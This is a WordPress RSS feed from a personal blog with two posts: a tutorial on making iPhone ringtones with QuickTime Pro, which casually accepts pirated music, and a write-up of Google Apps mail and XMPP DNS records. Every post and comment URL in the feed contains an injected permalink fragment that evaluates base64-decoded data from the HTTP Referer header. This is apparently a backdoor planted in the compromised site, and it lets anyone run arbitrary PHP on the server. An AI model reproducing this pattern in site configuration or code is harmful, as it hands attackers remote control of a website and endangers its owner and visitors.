<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jesse &#187; free</title>
	<atom:link href="http://www.jessecole.org/tag/free/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
	<lastBuildDate>Thu, 15 Jan 2009 17:43:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>iPhone Ringtones</title>
		<link>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 28 Dec 2008 07:34:43 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Mac]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/?p=117</guid>
		<description><![CDATA[I got an iPhone! Wheeeeeee!!! . . . Sorry. So, i got me an iPhone for christmas. Its great. Its an iPod, its a phone, its a pda, its the best internet appliance there is, and its a great game platform too. Really, it beats my old phone out of the water in just about [...]]]></description>
			<content:encoded><![CDATA[<p>I got an iPhone!  Wheeeeeee!!!<br />
.<br />
.<br />
.<br />
Sorry.  So, i got me an iPhone for christmas.  Its great.  Its an iPod, its a phone, its a pda, its the best internet appliance there is, and its a great game platform too.  Really, it beats my old phone out of the water in just about every way.  But, there is one shortcoming it shares with all phones.  Ringtones.  Stupid little 5-30 second clips that should $!%@ing be free cost up to $3.00 on other platforms and cost an additional $.99 in addition to the cost of the song for the iPhone.  Its wrong.  Well, i&#8217;m Jesse.  I don&#8217;t pay a full freaking dollar for 20-30 seconds of music.  I also don&#8217;t rebuy the music for the privilege of paying that full dollar.  You shouldn&#8217;t either.  You have the music, you want the clip, and i&#8217;m going to tell you how to do it.<span id="more-117"></span></p>
<p>*Update* I forgot when i wrote this that Quicktime Pro is required.  Quicktime Pro is $15 and in my opinion well worth it.  While i agree that its functionality should be standard, it is the same cost as dedicated tools for just iphone ringtones and it does a lot more.</p>
<p>First, obviously, you have to have the music.  You won&#8217;t be able to use iTunes music for this unless its iTunes plus.  DRM gets in the way (that&#8217;ll be another post).  The song needs to be one you ripped from a cd, pirated, et al.  I don&#8217;t judge.  I&#8217;m going to do this as step by step as i can for the benefit of my less technically inclined listeners.</p>
<p>Ok, second.  In iTunes, find the song you want.  Right click (or control click) on it and choose &#8220;show in finder&#8221;.<br />
<a href="http://www.jessecole.org/wordpress/wp-content/uploads/show-in-finder.png"><img class="alignnone size-thumbnail wp-image-125" title="show-in-finder" src="http://www.jessecole.org/wordpress/wp-content/uploads/show-in-finder-85x150.png" alt="show-in-finder" width="85" height="150" /></a></p>
<p>Now, a finder window will pop up and the song file will be selected.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/finder-window.png"><img class="alignnone size-thumbnail wp-image-126" title="finder-window" src="http://www.jessecole.org/wordpress/wp-content/uploads/finder-window-150x93.png" alt="finder-window" width="150" height="93" /></a></p>
<p>The next step is to open the file in quicktime.  If you double click it, by default, the file will probably open in iTunes so right click on the file (control click) and choose open with -&gt; Quicktime Player.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/open-with.png"><img class="alignnone size-thumbnail wp-image-127" title="open-with" src="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-129x150.png" alt="open-with" width="129" height="150" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-quicktime-player.png"><img class="alignnone size-thumbnail wp-image-128" title="open-with-quicktime-player" src="http://www.jessecole.org/wordpress/wp-content/uploads/open-with-quicktime-player-150x71.png" alt="open-with-quicktime-player" width="150" height="71" /></a></p>
<p>Now you&#8217;re in quicktime.  Here you have a window showing the song as a bar.  At the one end are little triangles that that you can drag to select the portion you want.  Just listen to the song and try to select just the part you want.  Its important to note that the iPhone won&#8217;t do ringtones over 30 seconds.  I think iTunes might not even sync it for you.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-1.png"><img class="alignnone size-thumbnail wp-image-129" title="editing-1" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-1-150x58.png" alt="editing-1" width="150" height="58" /></a></p>
<p>When you have about what you want, i recommend selecting a little more on purpose, press apple+c to copy it.  Now you will need to press apple+n for a new windows and press apple+v to paste your selection into it.  Here you can edit it further down to what you want.  A tip, you can drag the window out to get more precise with your selecting.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-2.png"><img class="alignnone size-thumbnail wp-image-130" title="editing-2" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-2-150x24.png" alt="editing-2" width="150" height="24" /></a></p>
<p>Ok, you&#8217;re done choosing your ringtone.  Its time to export the ringtone into a format iTunes will accept.  Go to File -&gt; Export, or you can press apple+e.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-4-export.png"><img class="alignnone size-thumbnail wp-image-131" title="editing-4-export" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-4-export-110x150.png" alt="editing-4-export" width="110" height="150" /></a></p>
<p>In the export options, at the bottom, click next to Export: and choose &#8220;Movie to MPEG-4&#8243;.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-5-mpeg-4.png"><img class="alignnone size-thumbnail wp-image-132" title="editing-5-mpeg-4" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-5-mpeg-4-150x114.png" alt="editing-5-mpeg-4" width="150" height="114" /></a></p>
<p>Now click options.  At the top, make sure it says MP4 and not MP4 (ISMA).  Under video you won&#8217;t have to change anything, there is no video.  In audio, you want Format: AAC-LC, Data Rate: 128 (or whatever you want if you know better), Channels: Stereo, Sample Rate: Recommended (or whatever, not important), and Encoding Quality: Best.  Under streaming, just make sure that streaming is unchecked and click ok.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-6-video.png"><img class="alignnone size-thumbnail wp-image-133" title="editing-6-video" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-6-video-150x142.png" alt="editing-6-video" width="150" height="142" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-7-audio.png"><img class="alignnone size-thumbnail wp-image-134" title="editing-7-audio" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-7-audio-150x142.png" alt="editing-7-audio" width="150" height="142" /></a><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-8-streaming.png"><img class="alignnone size-thumbnail wp-image-135" title="editing-8-streaming" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-8-streaming-150x142.png" alt="editing-8-streaming" width="150" height="142" /></a></p>
<p>Now you&#8217;re back at the export save screen.  This part is important.  iTunes will only recognize your file as a ringtone if it has a .m4r extension.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/editing-9-save-as.png"><img class="alignnone size-thumbnail wp-image-143" title="editing-9-save-as" src="http://www.jessecole.org/wordpress/wp-content/uploads/editing-9-save-as-150x113.png" alt="editing-9-save-as" width="150" height="113" /></a></p>
<p>Save it somewhere you can find too, i recommend the desktop.  Now its just a simple matter of dragging the file into iTunes and syncing your iPhone.  If you manually manage things, just drag the ringtone over.  The ringtones will show up in a special place in iTunes called &#8220;Ringtones&#8221;.</p>
<p><a href="http://www.jessecole.org/wordpress/wp-content/uploads/itunes-ringtones.png"><img class="alignnone size-thumbnail wp-image-137" title="itunes-ringtones" src="http://www.jessecole.org/wordpress/wp-content/uploads/itunes-ringtones-136x150.png" alt="itunes-ringtones" width="136" height="150" /></a></p>
<p>Now you&#8217;re done.  Just select the ringtone on your iPhone in the usual way and then enjoy your free ringtones forever.  Feel pride in the fact that you didn&#8217;t let the record industry rape you with their $.99 ringtones and flaunt your newfound abilities in their faces.  Also, if you&#8217;re bored, let apple know this is unacceptable the way things are.  The recording industry won&#8217;t hear or listen to you but apple might.  They <strong>want</strong> their customers to be happy.</p>
<p>One more thing, if this all sounds like too much, remember, there are for pay programs out there that will assist you.  Unfortunately programs like <a href="http://www.efksoft.com/products/iphoneringtonemaker/index.htm">iPhone Ringtone Maker</a> cost the same as Quicktime Pro so i recommend just learning the routine with quicktime.  Quicktime Pro can be used for a lot more than just ringtone editing too.  Let me know how it goes in the comments <img src='http://www.jessecole.org/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/12/28/iphone-ringtones/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google apps, jabber.</title>
		<link>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 03 Apr 2008 01:50:37 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[Site Stuff]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://1584360211</guid>
		<description><![CDATA[As very few of you know, (maybe i should actually put something in the about me section) i started this little website as a project to learn linux better and to learn to manage a webserver. Since then, this little project has turned into something i actually care about and take a measure of pride [...]]]></description>
			<content:encoded><![CDATA[<p>As very few of you know, (maybe i should actually put something in the <a title="About Me" href="http://www.jessecole.org/about">about me</a> section) i started this little website as a project to learn linux better and to learn to manage a webserver.  Since then, this little project has turned into something i actually care about and take a measure of pride in.  This is due in no small part to the miracle that is <a title="Google Apps" href="http://www.google.com/a/help/intl/en/admins/editions.html">google apps for your domain</a>.</p>
<p>I like managing a webserver.  I like manually managing <a title="ISC's Bind 9" href="http://en.wikipedia.org/bind">bind</a> and <a title="Apache" href="http://www.apache.org/">apache</a> from the command line.  I like the sense of control i feel when i am able to make any changes i want any time i want.  What i don&#8217;t like though, is email.  Email is evil.  Go ahead, take a look at the configuration files for <a title="Evil sendmail" href="http://www.sendmail.org/">sendmail</a> sometime.  Try <a title="Less Evil Postfix" href="http://www.postfix.org/">postfix</a>, not much better.  I don&#8217;t want to do email but i want to get email.  So what did i do? I went with google apps for your domain.</p>
<p><span id="more-54"></span></p>
<p>Google apps for your domain is a godsend.  I make a few small changed to my dns, which i can easily do; specifying google as my mail exchanger (mx) and i&#8217;m done.  Below i&#8217;ve included the records required for email.</p>
<pre>@           IN    MX 1     aspmx.l.google.com.
@           IN    MX 5     alt1.aspmx.l.google.com.
@           IN    MX 5     alt2.aspmx.l.google.com.
@           IN    MX 10    ASPMX2.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX3.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX4.GOOGLEMAIL.COM.
@           IN    MX 10    ASPMX5.GOOGLEMAIL.COM.</pre>
<p>Google handles all my email for me.  I can use their nice, friendly-ish web interface to add up to 100 users for email.  I can add mailing lists so that an email sent to, for example, lists@jessecole.org would go to whoever i added to that list.  I can tie in my other domains with it so that jesse@jessecole.info works just as well as jesse@jessecole.org and it gets delivered to the same mailbox.  On top of all of this, i get google&#8217;s <strong>fantastic!</strong> email filtering.  I never get a single spam message through and very rarely do i see a false positive.  Google even provides pop, smtp, and imap access to my email.</p>
<p>Another feature that isn&#8217;t talked about so much is google talk.  Thats right, every user i make can log in to google talk with user@domain.com.  The can also use any jabber client to log in.  Also, i recently implemented <a title="XMPP at wikipedia" href="http://en.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol">XMPP</a> server dialback as per section <a title="Section 14.4 of RFC 3920" href="http://www.xmpp.org/specs/rfc3920.html#security-server">14.4</a> of <a title="RFC 3920" href="http://www.ietf.org/rfc/rfc3920.txt">RFC 3920</a> allowing virtually all jabber clients to talk to anyone logged in.  Ok, fine.  All that is accurate but i just followed google&#8217;s instructions <a title="Google's fancy smancy instruction for properly implementing section 14.4 of RFC 3920.  Pfff.. I like my way better." href="http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=34143">here</a>.  Incidently, its perfectly legal in dns-ese to paste the following into your zone file or include it globally.</p>
<pre>_xmpp-server._tcp   IN SRV  5 0 5269 xmpp-server.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server1.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server2.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server3.l.google.com.
_xmpp-server._tcp   IN SRV 20 0 5269 xmpp-server4.l.google.com.

_jabber._tcp        IN SRV  5 0 5269 xmpp-server.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server1.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server2.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server3.l.google.com.
_jabber._tcp        IN SRV 20 0 5269 xmpp-server4.l.google.com.</pre>
<p>Fully qualified domain names are for quitters.</p>
<p>With google apps for your domain you get all this and all of the google apps.  Thats right.  Your &lt;employee&gt;@jessecole.org account also gets its own google docs, google calendar, google everything!.  Its no wonder some businesses are using for their site.  The best part about all of this is that its free!  You can pay extra and get more users, features, support, etc.  Not necessary.  This is a great thing for little websites like me.</p>
<p>I hope you enjoyed my little post (post? this is an article!) on google apps.  Please, leave me a comment if you liked it/disagree/hate me/whatever.</p>
<p><strong>*Update*</strong> I am officially declaring the whitespace stripping in pre text a wordpress bug.  I think i&#8217;ll actually file one later today.  It won&#8217;t do it if you step just right through the posting process though so it should look good now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/04/02/google-apps-jabber/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
